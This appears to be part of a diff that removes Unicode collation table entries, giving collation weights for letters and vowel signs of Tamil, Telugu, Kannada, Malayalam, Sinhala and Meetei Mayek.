-0B94  ; [.2740.0020.0002] # TAMIL LETTER AU
-0B92 0BD7 ; [.2740.0020.0002] # TAMIL LETTER AU
-0B83  ; [.2741.0020.0002] # TAMIL SIGN VISARGA
-0B95  ; [.2742.0020.0002] # TAMIL LETTER KA
-0B99  ; [.2743.0020.0002] # TAMIL LETTER NGA
-0B9A  ; [.2744.0020.0002] # TAMIL LETTER CA
-0B9E  ; [.2745.0020.0002] # TAMIL LETTER NYA
-0B9F  ; [.2746.0020.0002] # TAMIL LETTER TTA
-0BA3  ; [.2747.0020.0002] # TAMIL LETTER NNA
-0BA4  ; [.2748.0020.0002] # TAMIL LETTER TA
-0BA8  ; [.2749.0020.0002] # TAMIL LETTER NA
-0BAA  ; [.274A.0020.0002] # TAMIL LETTER PA
-0BAE  ; [.274B.0020.0002] # TAMIL LETTER MA
-0BAF  ; [.274C.0020.0002] # TAMIL LETTER YA
-0BB0  ; [.274D.0020.0002] # TAMIL LETTER RA
-0BB2  ; [.274E.0020.0002] # TAMIL LETTER LA
-0BB5  ; [.274F.0020.0002] # TAMIL LETTER VA
-0BB4  ; [.2750.0020.0002] # TAMIL LETTER LLLA
-0BB3  ; [.2751.0020.0002] # TAMIL LETTER LLA
-0BB1  ; [.2752.0020.0002] # TAMIL LETTER RRA
-0BA9  ; [.2753.0020.0002] # TAMIL LETTER NNNA
-0B9C  ; [.2754.0020.0002] # TAMIL LETTER JA
-0BB6  ; [.2755.0020.0002] # TAMIL LETTER SHA
-0BB7  ; [.2756.0020.0002] # TAMIL LETTER SSA
-0BB8  ; [.2757.0020.0002] # TAMIL LETTER SA
-0BB9  ; [.2758.0020.0002] # TAMIL LETTER HA
-0BBE  ; [.2759.0020.0002] # TAMIL VOWEL SIGN AA
-0BBF  ; [.275A.0020.0002] # TAMIL VOWEL SIGN I
-0BC0  ; [.275B.0020.0002] # TAMIL VOWEL SIGN II
-0BC1  ; [.275C.0020.0002] # TAMIL VOWEL SIGN U
-0BC2  ; [.275D.0020.0002] # TAMIL VOWEL SIGN UU
-0BC6  ; [.275E.0020.0002] # TAMIL VOWEL SIGN E
-0BC7  ; [.275F.0020.0002] # TAMIL VOWEL SIGN EE
-0BC8  ; [.2760.0020.0002] # TAMIL VOWEL SIGN AI
-0BCA  ; [.2761.0020.0002] # TAMIL VOWEL SIGN O
-0BC6 0BBE ; [.2761.0020.0002] # TAMIL VOWEL SIGN O
-0BCB  ; [.2762.0020.0002] # TAMIL VOWEL SIGN OO
-0BC7 0BBE ; [.2762.0020.0002] # TAMIL VOWEL SIGN OO
-0BCC  ; [.2763.0020.0002] # TAMIL VOWEL SIGN AU
-0BC6 0BD7 ; [.2763.0020.0002] # TAMIL VOWEL SIGN AU
-0BCD  ; [.2764.0020.0002] # TAMIL SIGN VIRAMA
-0BD7  ; [.2765.0020.0002] # TAMIL AU LENGTH MARK
-0C05  ; [.2766.0020.0002] # TELUGU LETTER A
-0C06  ; [.2767.0020.0002] # TELUGU LETTER AA
-0C07  ; [.2768.0020.0002] # TELUGU LETTER I
-0C08  ; [.2769.0020.0002] # TELUGU LETTER II
-0C09  ; [.276A.0020.0002] # TELUGU LETTER U
-0C0A  ; [.276B.0020.0002] # TELUGU LETTER UU
-0C0B  ; [.276C.0020.0002] # TELUGU LETTER VOCALIC R
-0C60  ; [.276D.0020.0002] # TELUGU LETTER VOCALIC RR
-0C0C  ; [.276E.0020.0002] # TELUGU LETTER VOCALIC L
-0C61  ; [.276F.0020.0002] # TELUGU LETTER VOCALIC LL
-0C0E  ; [.2770.0020.0002] # TELUGU LETTER E
-0C0F  ; [.2771.0020.0002] # TELUGU LETTER EE
-0C10  ; [.2772.0020.0002] # TELUGU LETTER AI
-0C12  ; [.2773.0020.0002] # TELUGU LETTER O
-0C13  ; [.2774.0020.0002] # TELUGU LETTER OO
-0C14  ; [.2775.0020.0002] # TELUGU LETTER AU
-0C15  ; [.2776.0020.0002] # TELUGU LETTER KA
-0C16  ; [.2777.0020.0002] # TELUGU LETTER KHA
-0C17  ; [.2778.0020.0002] # TELUGU LETTER GA
-0C18  ; [.2779.0020.0002] # TELUGU LETTER GHA
-0C19  ; [.277A.0020.0002] # TELUGU LETTER NGA
-0C1A  ; [.277B.0020.0002] # TELUGU LETTER CA
-0C58  ; [.277C.0020.0002] # TELUGU LETTER TSA
-0C1B  ; [.277D.0020.0002] # TELUGU LETTER CHA
-0C1C  ; [.277E.0020.0002] # TELUGU LETTER JA
-0C59  ; [.277F.0020.0002] # TELUGU LETTER DZA
-0C1D  ; [.2780.0020.0002] # TELUGU LETTER JHA
-0C1E  ; [.2781.0020.0002] # TELUGU LETTER NYA
-0C1F  ; [.2782.0020.0002] # TELUGU LETTER TTA
-0C20  ; [.2783.0020.0002] # TELUGU LETTER TTHA
-0C21  ; [.2784.0020.0002] # TELUGU LETTER DDA
-0C22  ; [.2785.0020.0002] # TELUGU LETTER DDHA
-0C23  ; [.2786.0020.0002] # TELUGU LETTER NNA
-0C24  ; [.2787.0020.0002] # TELUGU LETTER TA
-0C25  ; [.2788.0020.0002] # TELUGU LETTER THA
-0C26  ; [.2789.0020.0002] # TELUGU LETTER DA
-0C27  ; [.278A.0020.0002] # TELUGU LETTER DHA
-0C28  ; [.278B.0020.0002] # TELUGU LETTER NA
-0C2A  ; [.278C.0020.0002] # TELUGU LETTER PA
-0C2B  ; [.278D.0020.0002] # TELUGU LETTER PHA
-0C2C  ; [.278E.0020.0002] # TELUGU LETTER BA
-0C2D  ; [.278F.0020.0002] # TELUGU LETTER BHA
-0C2E  ; [.2790.0020.0002] # TELUGU LETTER MA
-0C2F  ; [.2791.0020.0002] # TELUGU LETTER YA
-0C30  ; [.2792.0020.0002] # TELUGU LETTER RA
-0C31  ; [.2793.0020.0002] # TELUGU LETTER RRA
-0C32  ; [.2794.0020.0002] # TELUGU LETTER LA
-0C35  ; [.2795.0020.0002] # TELUGU LETTER VA
-0C36  ; [.2796.0020.0002] # TELUGU LETTER SHA
-0C37  ; [.2797.0020.0002] # TELUGU LETTER SSA
-0C38  ; [.2798.0020.0002] # TELUGU LETTER SA
-0C39  ; [.2799.0020.0002] # TELUGU LETTER HA
-0C33  ; [.279A.0020.0002] # TELUGU LETTER LLA
-0C34  ; [.279B.0020.0002] # TELUGU LETTER LLLA
-0C5A  ; [.279C.0020.0002] # TELUGU LETTER RRRA
-0C3D  ; [.279D.0020.0002] # TELUGU SIGN AVAGRAHA
-0C3E  ; [.279E.0020.0002] # TELUGU VOWEL SIGN AA
-0C3F  ; [.279F.0020.0002] # TELUGU VOWEL SIGN I
-0C40  ; [.27A0.0020.0002] # TELUGU VOWEL SIGN II
-0C41  ; [.27A1.0020.0002] # TELUGU VOWEL SIGN U
-0C42  ; [.27A2.0020.0002] # TELUGU VOWEL SIGN UU
-0C43  ; [.27A3.0020.0002] # TELUGU VOWEL SIGN VOCALIC R
-0C44  ; [.27A4.0020.0002] # TELUGU VOWEL SIGN VOCALIC RR
-0C62  ; [.27A5.0020.0002] # TELUGU VOWEL SIGN VOCALIC L
-0C63  ; [.27A6.0020.0002] # TELUGU VOWEL SIGN VOCALIC LL
-0C46  ; [.27A7.0020.0002] # TELUGU VOWEL SIGN E
-0C47  ; [.27A8.0020.0002] # TELUGU VOWEL SIGN EE
-0C48  ; [.27A9.0020.0002] # TELUGU VOWEL SIGN AI
-0C46 0C56 ; [.27A9.0020.0002] # TELUGU VOWEL SIGN AI
-0C4A  ; [.27AA.0020.0002] # TELUGU VOWEL SIGN O
-0C4B  ; [.27AB.0020.0002] # TELUGU VOWEL SIGN OO
-0C4C  ; [.27AC.0020.0002] # TELUGU VOWEL SIGN AU
-0C4D  ; [.27AD.0020.0002] # TELUGU SIGN VIRAMA
-0C55  ; [.27AE.0020.0002] # TELUGU LENGTH MARK
-0C56  ; [.27AF.0020.0002] # TELUGU AI LENGTH MARK
-0C85  ; [.27B0.0020.0002] # KANNADA LETTER A
-0C86  ; [.27B1.0020.0002] # KANNADA LETTER AA
-0C87  ; [.27B2.0020.0002] # KANNADA LETTER I
-0C88  ; [.27B3.0020.0002] # KANNADA LETTER II
-0C89  ; [.27B4.0020.0002] # KANNADA LETTER U
-0C8A  ; [.27B5.0020.0002] # KANNADA LETTER UU
-0C8B  ; [.27B6.0020.0002] # KANNADA LETTER VOCALIC R
-0CE0  ; [.27B7.0020.0002] # KANNADA LETTER VOCALIC RR
-0C8C  ; [.27B8.0020.0002] # KANNADA LETTER VOCALIC L
-0CE1  ; [.27B9.0020.0002] # KANNADA LETTER VOCALIC LL
-0C8E  ; [.27BA.0020.0002] # KANNADA LETTER E
-0C8F  ; [.27BB.0020.0002] # KANNADA LETTER EE
-0C90  ; [.27BC.0020.0002] # KANNADA LETTER AI
-0C92  ; [.27BD.0020.0002] # KANNADA LETTER O
-0C93  ; [.27BE.0020.0002] # KANNADA LETTER OO
-0C94  ; [.27BF.0020.0002] # KANNADA LETTER AU
-0C95  ; [.27C0.0020.0002] # KANNADA LETTER KA
-0C96  ; [.27C1.0020.0002] # KANNADA LETTER KHA
-0C97  ; [.27C2.0020.0002] # KANNADA LETTER GA
-0C98  ; [.27C3.0020.0002] # KANNADA LETTER GHA
-0C99  ; [.27C4.0020.0002] # KANNADA LETTER NGA
-0C9A  ; [.27C5.0020.0002] # KANNADA LETTER CA
-0C9B  ; [.27C6.0020.0002] # KANNADA LETTER CHA
-0C9C  ; [.27C7.0020.0002] # KANNADA LETTER JA
-0C9D  ; [.27C8.0020.0002] # KANNADA LETTER JHA
-0C9E  ; [.27C9.0020.0002] # KANNADA LETTER NYA
-0C9F  ; [.27CA.0020.0002] # KANNADA LETTER TTA
-0CA0  ; [.27CB.0020.0002] # KANNADA LETTER TTHA
-0CA1  ; [.27CC.0020.0002] # KANNADA LETTER DDA
-0CA2  ; [.27CD.0020.0002] # KANNADA LETTER DDHA
-0CA3  ; [.27CE.0020.0002] # KANNADA LETTER NNA
-0CA4  ; [.27CF.0020.0002] # KANNADA LETTER TA
-0CA5  ; [.27D0.0020.0002] # KANNADA LETTER THA
-0CA6  ; [.27D1.0020.0002] # KANNADA LETTER DA
-0CA7  ; [.27D2.0020.0002] # KANNADA LETTER DHA
-0CA8  ; [.27D3.0020.0002] # KANNADA LETTER NA
-0CAA  ; [.27D4.0020.0002] # KANNADA LETTER PA
-0CAB  ; [.27D5.0020.0002] # KANNADA LETTER PHA
-0CAC  ; [.27D6.0020.0002] # KANNADA LETTER BA
-0CAD  ; [.27D7.0020.0002] # KANNADA LETTER BHA
-0CAE  ; [.27D8.0020.0002] # KANNADA LETTER MA
-0CAF  ; [.27D9.0020.0002] # KANNADA LETTER YA
-0CB0  ; [.27DA.0020.0002] # KANNADA LETTER RA
-0CB1  ; [.27DB.0020.0002] # KANNADA LETTER RRA
-0CB2  ; [.27DC.0020.0002] # KANNADA LETTER LA
-0CB5  ; [.27DD.0020.0002] # KANNADA LETTER VA
-0CB6  ; [.27DE.0020.0002] # KANNADA LETTER SHA
-0CB7  ; [.27DF.0020.0002] # KANNADA LETTER SSA
-0CB8  ; [.27E0.0020.0002] # KANNADA LETTER SA
-0CB9  ; [.27E1.0020.0002] # KANNADA LETTER HA
-0CB3  ; [.27E2.0020.0002] # KANNADA LETTER LLA
-0CDE  ; [.27E3.0020.0002] # KANNADA LETTER FA
-0CBD  ; [.27E4.0020.0002] # KANNADA SIGN AVAGRAHA
-0CF1  ; [.27E5.0020.0002] # KANNADA SIGN JIHVAMULIYA
-0CF2  ; [.27E6.0020.0002] # KANNADA SIGN UPADHMANIYA
-0CBE  ; [.27E7.0020.0002] # KANNADA VOWEL SIGN AA
-0CBF  ; [.27E8.0020.0002] # KANNADA VOWEL SIGN I
-0CC0  ; [.27E9.0020.0002] # KANNADA VOWEL SIGN II
-0CBF 0CD5 ; [.27E9.0020.0002] # KANNADA VOWEL SIGN II
-0CC1  ; [.27EA.0020.0002] # KANNADA VOWEL SIGN U
-0CC2  ; [.27EB.0020.0002] # KANNADA VOWEL SIGN UU
-0CC3  ; [.27EC.0020.0002] # KANNADA VOWEL SIGN VOCALIC R
-0CC4  ; [.27ED.0020.0002] # KANNADA VOWEL SIGN VOCALIC RR
-0CE2  ; [.27EE.0020.0002] # KANNADA VOWEL SIGN VOCALIC L
-0CE3  ; [.27EF.0020.0002] # KANNADA VOWEL SIGN VOCALIC LL
-0CC6  ; [.27F0.0020.0002] # KANNADA VOWEL SIGN E
-0CC7  ; [.27F1.0020.0002] # KANNADA VOWEL SIGN EE
-0CC6 0CD5 ; [.27F1.0020.0002] # KANNADA VOWEL SIGN EE
-0CC8  ; [.27F2.0020.0002] # KANNADA VOWEL SIGN AI
-0CC6 0CD6 ; [.27F2.0020.0002] # KANNADA VOWEL SIGN AI
-0CCA  ; [.27F3.0020.0002] # KANNADA VOWEL SIGN O
-0CC6 0CC2 ; [.27F3.0020.0002] # KANNADA VOWEL SIGN O
-0CCB  ; [.27F4.0020.0002] # KANNADA VOWEL SIGN OO
-0CC6 0CC2 0CD5 ; [.27F4.0020.0002] # KANNADA VOWEL SIGN OO
-0CCA 0CD5 ; [.27F4.0020.0002] # KANNADA VOWEL SIGN OO
-0CCC  ; [.27F5.0020.0002] # KANNADA VOWEL SIGN AU
-0CCD  ; [.27F6.0020.0002] # KANNADA SIGN VIRAMA
-0CD5  ; [.27F7.0020.0002] # KANNADA LENGTH MARK
-0CD6  ; [.27F8.0020.0002] # KANNADA AI LENGTH MARK
-0D05  ; [.27F9.0020.0002] # MALAYALAM LETTER A
-0D06  ; [.27FA.0020.0002] # MALAYALAM LETTER AA
-0D07  ; [.27FB.0020.0002] # MALAYALAM LETTER I
-0D08  ; [.27FC.0020.0002] # MALAYALAM LETTER II
-0D5F  ; [.27FD.0020.0002] # MALAYALAM LETTER ARCHAIC II
-0D09  ; [.27FE.0020.0002] # MALAYALAM LETTER U
-0D0A  ; [.27FF.0020.0002] # MALAYALAM LETTER UU
-0D0B  ; [.2800.0020.0002] # MALAYALAM LETTER VOCALIC R
-0D60  ; [.2801.0020.0002] # MALAYALAM LETTER VOCALIC RR
-0D0C  ; [.2802.0020.0002] # MALAYALAM LETTER VOCALIC L
-0D61  ; [.2803.0020.0002] # MALAYALAM LETTER VOCALIC LL
-0D0E  ; [.2804.0020.0002] # MALAYALAM LETTER E
-0D0F  ; [.2805.0020.0002] # MALAYALAM LETTER EE
-0D10  ; [.2806.0020.0002] # MALAYALAM LETTER AI
-0D12  ; [.2807.0020.0002] # MALAYALAM LETTER O
-0D13  ; [.2808.0020.0002] # MALAYALAM LETTER OO
-0D14  ; [.2809.0020.0002] # MALAYALAM LETTER AU
-0D15  ; [.280A.0020.0002] # MALAYALAM LETTER KA
-0D7F  ; [.280A.0020.0004][.2841.0020.0004] # MALAYALAM LETTER CHILLU K
-0D16  ; [.280B.0020.0002] # MALAYALAM LETTER KHA
-0D17  ; [.280C.0020.0002] # MALAYALAM LETTER GA
-0D18  ; [.280D.0020.0002] # MALAYALAM LETTER GHA
-0D19  ; [.280E.0020.0002] # MALAYALAM LETTER NGA
-0D1A  ; [.280F.0020.0002] # MALAYALAM LETTER CA
-0D1B  ; [.2810.0020.0002] # MALAYALAM LETTER CHA
-0D1C  ; [.2811.0020.0002] # MALAYALAM LETTER JA
-0D1D  ; [.2812.0020.0002] # MALAYALAM LETTER JHA
-0D1E  ; [.2813.0020.0002] # MALAYALAM LETTER NYA
-0D1F  ; [.2814.0020.0002] # MALAYALAM LETTER TTA
-0D20  ; [.2815.0020.0002] # MALAYALAM LETTER TTHA
-0D21  ; [.2816.0020.0002] # MALAYALAM LETTER DDA
-0D22  ; [.2817.0020.0002] # MALAYALAM LETTER DDHA
-0D23  ; [.2818.0020.0002] # MALAYALAM LETTER NNA
-0D7A  ; [.2818.0020.0004][.2841.0020.0004] # MALAYALAM LETTER CHILLU NN
-0D24  ; [.2819.0020.0002] # MALAYALAM LETTER TA
-0D25  ; [.281A.0020.0002] # MALAYALAM LETTER THA
-0D26  ; [.281B.0020.0002] # MALAYALAM LETTER DA
-0D27  ; [.281C.0020.0002] # MALAYALAM LETTER DHA
-0D28  ; [.281D.0020.0002] # MALAYALAM LETTER NA
-0D7B  ; [.281D.0020.0004][.2841.0020.0004] # MALAYALAM LETTER CHILLU N
-0D29  ; [.281E.0020.0002] # MALAYALAM LETTER NNNA
-0D2A  ; [.281F.0020.0002] # MALAYALAM LETTER PA
-0D2B  ; [.2820.0020.0002] # MALAYALAM LETTER PHA
-0D2C  ; [.2821.0020.0002] # MALAYALAM LETTER BA
-0D2D  ; [.2822.0020.0002] # MALAYALAM LETTER BHA
-0D2E  ; [.2823.0020.0002] # MALAYALAM LETTER MA
-0D2F  ; [.2824.0020.0002] # MALAYALAM LETTER YA
-0D30  ; [.2825.0020.0002] # MALAYALAM LETTER RA
-0D4E  ; [.2825.0020.0004][.2841.0020.0004] # MALAYALAM LETTER DOT REPH
-0D7C  ; [.2825.0020.0004][.2841.0020.0004] # MALAYALAM LETTER CHILLU RR
-0D32  ; [.2826.0020.0002] # MALAYALAM LETTER LA
-0D7D  ; [.2826.0020.0004][.2841.0020.0004] # MALAYALAM LETTER CHILLU L
-0D35  ; [.2827.0020.0002] # MALAYALAM LETTER VA
-0D36  ; [.2828.0020.0002] # MALAYALAM LETTER SHA
-0D37  ; [.2829.0020.0002] # MALAYALAM LETTER SSA
-0D38  ; [.282A.0020.0002] # MALAYALAM LETTER SA
-0D39  ; [.282B.0020.0002] # MALAYALAM LETTER HA
-0D33  ; [.282C.0020.0002] # MALAYALAM LETTER LLA
-0D7E  ; [.282C.0020.0004][.2841.0020.0004] # MALAYALAM LETTER CHILLU LL
-0D34  ; [.282D.0020.0002] # MALAYALAM LETTER LLLA
-0D31  ; [.282E.0020.0002] # MALAYALAM LETTER RRA
-0D3A  ; [.282F.0020.0002] # MALAYALAM LETTER TTTA
-0D3D  ; [.2830.0020.0002] # MALAYALAM SIGN AVAGRAHA
-0D3E  ; [.2831.0020.0002] # MALAYALAM VOWEL SIGN AA
-0D3F  ; [.2832.0020.0002] # MALAYALAM VOWEL SIGN I
-0D40  ; [.2833.0020.0002] # MALAYALAM VOWEL SIGN II
-0D41  ; [.2834.0020.0002] # MALAYALAM VOWEL SIGN U
-0D42  ; [.2835.0020.0002] # MALAYALAM VOWEL SIGN UU
-0D43  ; [.2836.0020.0002] # MALAYALAM VOWEL SIGN VOCALIC R
-0D44  ; [.2837.0020.0002] # MALAYALAM VOWEL SIGN VOCALIC RR
-0D62  ; [.2838.0020.0002] # MALAYALAM VOWEL SIGN VOCALIC L
-0D63  ; [.2839.0020.0002] # MALAYALAM VOWEL SIGN VOCALIC LL
-0D46  ; [.283A.0020.0002] # MALAYALAM VOWEL SIGN E
-0D47  ; [.283B.0020.0002] # MALAYALAM VOWEL SIGN EE
-0D48  ; [.283C.0020.0002] # MALAYALAM VOWEL SIGN AI
-0D4A  ; [.283D.0020.0002] # MALAYALAM VOWEL SIGN O
-0D46 0D3E ; [.283D.0020.0002] # MALAYALAM VOWEL SIGN O
-0D4B  ; [.283E.0020.0002] # MALAYALAM VOWEL SIGN OO
-0D47 0D3E ; [.283E.0020.0002] # MALAYALAM VOWEL SIGN OO
-0D4C  ; [.283F.0020.0002] # MALAYALAM VOWEL SIGN AU
-0D46 0D57 ; [.283F.0020.0002] # MALAYALAM VOWEL SIGN AU
-0D57  ; [.2840.0020.0002] # MALAYALAM AU LENGTH MARK
-0D4D  ; [.2841.0020.0002] # MALAYALAM SIGN VIRAMA
-0D85  ; [.2842.0020.0002] # SINHALA LETTER AYANNA
-0D86  ; [.2843.0020.0002] # SINHALA LETTER AAYANNA
-0D87  ; [.2844.0020.0002] # SINHALA LETTER AEYANNA
-0D88  ; [.2845.0020.0002] # SINHALA LETTER AEEYANNA
-0D89  ; [.2846.0020.0002] # SINHALA LETTER IYANNA
-0D8A  ; [.2847.0020.0002] # SINHALA LETTER IIYANNA
-0D8B  ; [.2848.0020.0002] # SINHALA LETTER UYANNA
-0D8C  ; [.2849.0020.0002] # SINHALA LETTER UUYANNA
-0D8D  ; [.284A.0020.0002] # SINHALA LETTER IRUYANNA
-0D8E  ; [.284B.0020.0002] # SINHALA LETTER IRUUYANNA
-0D8F  ; [.284C.0020.0002] # SINHALA LETTER ILUYANNA
-0D90  ; [.284D.0020.0002] # SINHALA LETTER ILUUYANNA
-0D91  ; [.284E.0020.0002] # SINHALA LETTER EYANNA
-0D92  ; [.284F.0020.0002] # SINHALA LETTER EEYANNA
-0D93  ; [.2850.0020.0002] # SINHALA LETTER AIYANNA
-0D94  ; [.2851.0020.0002] # SINHALA LETTER OYANNA
-0D95  ; [.2852.0020.0002] # SINHALA LETTER OOYANNA
-0D96  ; [.2853.0020.0002] # SINHALA LETTER AUYANNA
-0D9A  ; [.2854.0020.0002] # SINHALA LETTER ALPAPRAANA KAYANNA
-0D9B  ; [.2855.0020.0002] # SINHALA LETTER MAHAAPRAANA KAYANNA
-0D9C  ; [.2856.0020.0002] # SINHALA LETTER ALPAPRAANA GAYANNA
-0D9D  ; [.2857.0020.0002] # SINHALA LETTER MAHAAPRAANA GAYANNA
-0D9E  ; [.2858.0020.0002] # SINHALA LETTER KANTAJA NAASIKYAYA
-0D9F  ; [.2859.0020.0002] # SINHALA LETTER SANYAKA GAYANNA
-0DA0  ; [.285A.0020.0002] # SINHALA LETTER ALPAPRAANA CAYANNA
-0DA1  ; [.285B.0020.0002] # SINHALA LETTER MAHAAPRAANA CAYANNA
-0DA2  ; [.285C.0020.0002] # SINHALA LETTER ALPAPRAANA JAYANNA
-0DA3  ; [.285D.0020.0002] # SINHALA LETTER MAHAAPRAANA JAYANNA
-0DA4  ; [.285E.0020.0002] # SINHALA LETTER TAALUJA NAASIKYAYA
-0DA5  ; [.285F.0020.0002] # SINHALA LETTER TAALUJA SANYOOGA NAAKSIKYAYA
-0DA6  ; [.2860.0020.0002] # SINHALA LETTER SANYAKA JAYANNA
-0DA7  ; [.2861.0020.0002] # SINHALA LETTER ALPAPRAANA TTAYANNA
-0DA8  ; [.2862.0020.0002] # SINHALA LETTER MAHAAPRAANA TTAYANNA
-0DA9  ; [.2863.0020.0002] # SINHALA LETTER ALPAPRAANA DDAYANNA
-0DAA  ; [.2864.0020.0002] # SINHALA LETTER MAHAAPRAANA DDAYANNA
-0DAB  ; [.2865.0020.0002] # SINHALA LETTER MUURDHAJA NAYANNA
-0DAC  ; [.2866.0020.0002] # SINHALA LETTER SANYAKA DDAYANNA
-0DAD  ; [.2867.0020.0002] # SINHALA LETTER ALPAPRAANA TAYANNA
-0DAE  ; [.2868.0020.0002] # SINHALA LETTER MAHAAPRAANA TAYANNA
-0DAF  ; [.2869.0020.0002] # SINHALA LETTER ALPAPRAANA DAYANNA
-0DB0  ; [.286A.0020.0002] # SINHALA LETTER MAHAAPRAANA DAYANNA
-0DB1  ; [.286B.0020.0002] # SINHALA LETTER DANTAJA NAYANNA
-0DB3  ; [.286C.0020.0002] # SINHALA LETTER SANYAKA DAYANNA
-0DB4  ; [.286D.0020.0002] # SINHALA LETTER ALPAPRAANA PAYANNA
-0DB5  ; [.286E.0020.0002] # SINHALA LETTER MAHAAPRAANA PAYANNA
-0DB6  ; [.286F.0020.0002] # SINHALA LETTER ALPAPRAANA BAYANNA
-0DB7  ; [.2870.0020.0002] # SINHALA LETTER MAHAAPRAANA BAYANNA
-0DB8  ; [.2871.0020.0002] # SINHALA LETTER MAYANNA
-0DB9  ; [.2872.0020.0002] # SINHALA LETTER AMBA BAYANNA
-0DBA  ; [.2873.0020.0002] # SINHALA LETTER YAYANNA
-0DBB  ; [.2874.0020.0002] # SINHALA LETTER RAYANNA
-0DBD  ; [.2875.0020.0002] # SINHALA LETTER DANTAJA LAYANNA
-0DC0  ; [.2876.0020.0002] # SINHALA LETTER VAYANNA
-0DC1  ; [.2877.0020.0002] # SINHALA LETTER TAALUJA SAYANNA
-0DC2  ; [.2878.0020.0002] # SINHALA LETTER MUURDHAJA SAYANNA
-0DC3  ; [.2879.0020.0002] # SINHALA LETTER DANTAJA SAYANNA
-0DC4  ; [.287A.0020.0002] # SINHALA LETTER HAYANNA
-0DC5  ; [.287B.0020.0002] # SINHALA LETTER MUURDHAJA LAYANNA
-0DC6  ; [.287C.0020.0002] # SINHALA LETTER FAYANNA
-0DCF  ; [.287D.0020.0002] # SINHALA VOWEL SIGN AELA-PILLA
-0DD0  ; [.287E.0020.0002] # SINHALA VOWEL SIGN KETTI AEDA-PILLA
-0DD1  ; [.287F.0020.0002] # SINHALA VOWEL SIGN DIGA AEDA-PILLA
-0DD2  ; [.2880.0020.0002] # SINHALA VOWEL SIGN KETTI IS-PILLA
-0DD3  ; [.2881.0020.0002] # SINHALA VOWEL SIGN DIGA IS-PILLA
-0DD4  ; [.2882.0020.0002] # SINHALA VOWEL SIGN KETTI PAA-PILLA
-0DD6  ; [.2883.0020.0002] # SINHALA VOWEL SIGN DIGA PAA-PILLA
-0DD8  ; [.2884.0020.0002] # SINHALA VOWEL SIGN GAETTA-PILLA
-0DF2  ; [.2885.0020.0002] # SINHALA VOWEL SIGN DIGA GAETTA-PILLA
-0DDF  ; [.2886.0020.0002] # SINHALA VOWEL SIGN GAYANUKITTA
-0DF3  ; [.2887.0020.0002] # SINHALA VOWEL SIGN DIGA GAYANUKITTA
-0DD9  ; [.2888.0020.0002] # SINHALA VOWEL SIGN KOMBUVA
-0DDA  ; [.2889.0020.0002] # SINHALA VOWEL SIGN DIGA KOMBUVA
-0DD9 0DCA ; [.2889.0020.0002] # SINHALA VOWEL SIGN DIGA KOMBUVA
-0DDB  ; [.288A.0020.0002] # SINHALA VOWEL SIGN KOMBU DEKA
-0DDC  ; [.288B.0020.0002] # SINHALA VOWEL SIGN KOMBUVA HAA AELA-PILLA
-0DD9 0DCF ; [.288B.0020.0002] # SINHALA VOWEL SIGN KOMBUVA HAA AELA-PILLA
-0DDD  ; [.288C.0020.0002] # SINHALA VOWEL SIGN KOMBUVA HAA DIGA AELA-PILLA
-0DD9 0DCF 0DCA ; [.288C.0020.0002] # SINHALA VOWEL SIGN KOMBUVA HAA DIGA AELA-PILLA
-0DDC 0DCA ; [.288C.0020.0002] # SINHALA VOWEL SIGN KOMBUVA HAA DIGA AELA-PILLA
-0DDE  ; [.288D.0020.0002] # SINHALA VOWEL SIGN KOMBUVA HAA GAYANUKITTA
-0DD9 0DDF ; [.288D.0020.0002] # SINHALA VOWEL SIGN KOMBUVA HAA GAYANUKITTA
-0DCA  ; [.288E.0020.0002] # SINHALA SIGN AL-LAKUNA
-AAF2  ; [.288F.0020.0002] # MEETEI MAYEK ANJI
-ABC0  ; [.2890.0020.0002] # MEETEI MAYEK LETTER KOK
-ABC1  ; [.2891.0020.0002] # MEETEI MAYEK LETTER SAM
-ABC2  ; [.2892.0020.0002] # MEETEI MAYEK LETTER LAI
-ABC3  ; [.2893.0020.0002] # MEETEI MAYEK LETTER MIT
-ABC4  ; [.2894.0020.0002] # MEETEI MAYEK LETTER PA
-ABC5  ; [.2895.0020.0002] # MEETEI MAYEK LETTER NA
-ABC6  ; [.2896.0020.0002] # MEETEI MAYEK LETTER CHIL
-ABC7  ; [.2897.0020.0002] # MEETEI MAYEK LETTER TIL
-ABC8  ; [.2898.0020.0002] # MEETEI MAYEK LETTER KHOU
-ABC9  ; [.2899.0020.0002] # MEETEI MAYEK LETTER NGOU
-ABCA  ; [.289A.0020.0002] # MEETEI MAYEK LETTER THOU
-ABCB  ; [.289B.0020.0002] # MEETEI MAYEK LETTER WAI
-ABCC  ; [.289C.0020.0002] # MEETEI MAYEK LETTER YANG
-ABCD  ; [.289D.0020.0002] # MEETEI MAYEK LETTER HUK
-ABCE  ; [.289E.0020.0002] # MEETEI MAYEK LETTER UN
-ABCF  ; [.289F.0020.0002] # MEETEI MAYEK LETTER I
-ABD0  ; [.28A0.0020.0002] # MEETEI MAYEK LETTER PHAM
-ABD1  ; [.28A1.0020.0002] # MEETEI MAYEK LETTER ATIYA
-ABD2  ; [.28A2.0020.0002] # MEETEI MAYEK LETTER GOK
-ABD3  ; [.28A3.0020.0002] # MEETEI MAYEK LETTER JHAM
-ABD4  ; [.28A4.0020.0002] # MEETEI MAYEK LETTER RAI
-ABD5  ; [.28A5.0020.0002] # MEETEI MAYEK LETTER BA
-ABD6  ; [.28A6.0020.0002] # MEETEI MAYEK LETTER JIL
-ABD7  ; [.28A7.0020.0002] # MEETEI MAYEK LETTER DIL
-ABD8  ; [.28A8.0020.0002] # MEETEI MAYEK LETTER GHOU
-ABD9  ; [.28A9.0020.0002] # MEETEI MAYEK LETTER DHOU
-ABDA  ; [.28AA.0020.0002] # MEETEI MAYEK LETTER BHAM
-AAE0  ; [.28AB.0020.0002] # MEETEI MAYEK LETTER E
-AAE1  ; [.28AC.0020.0002] # MEETEI MAYEK LETTER O
-AAE2  ; [.28AD.0020.0002] # MEETEI MAYEK LETTER CHA
-AAE3  ; [.28AE.0020.0002] # MEETEI MAYEK LETTER NYA
-AAE4  ; [.28AF.0020.0002] # MEETEI MAYEK LETTER TTA
-AAE5  ; [.28B0.0020.0002] # MEETEI MAYEK LETTER TTHA
-AAE6  ; [.28B1.0020.0002] # MEETEI MAYEK LETTER DDA
-AAE7  ; [.28B2.0020.0002] # MEETEI MAYEK LETTER DDHA
-AAE8  ; [.28B3.0020.0002] # MEETEI MAYEK LETTER NNA
-AAE9  ; [.28B4.0020.0002] # MEETEI MAYEK LETTER SHA
-AAEA  ; [.28B5.0020.0002] # MEETEI MAYEK LETTER SSA
-ABE3  ; [.28B6.0020.0002] # MEETEI MAYEK VOWEL SIGN ONAP
-ABE4  ; [.28B7.0020.0002] # MEETEI MAYEK VOWEL SIGN INAP
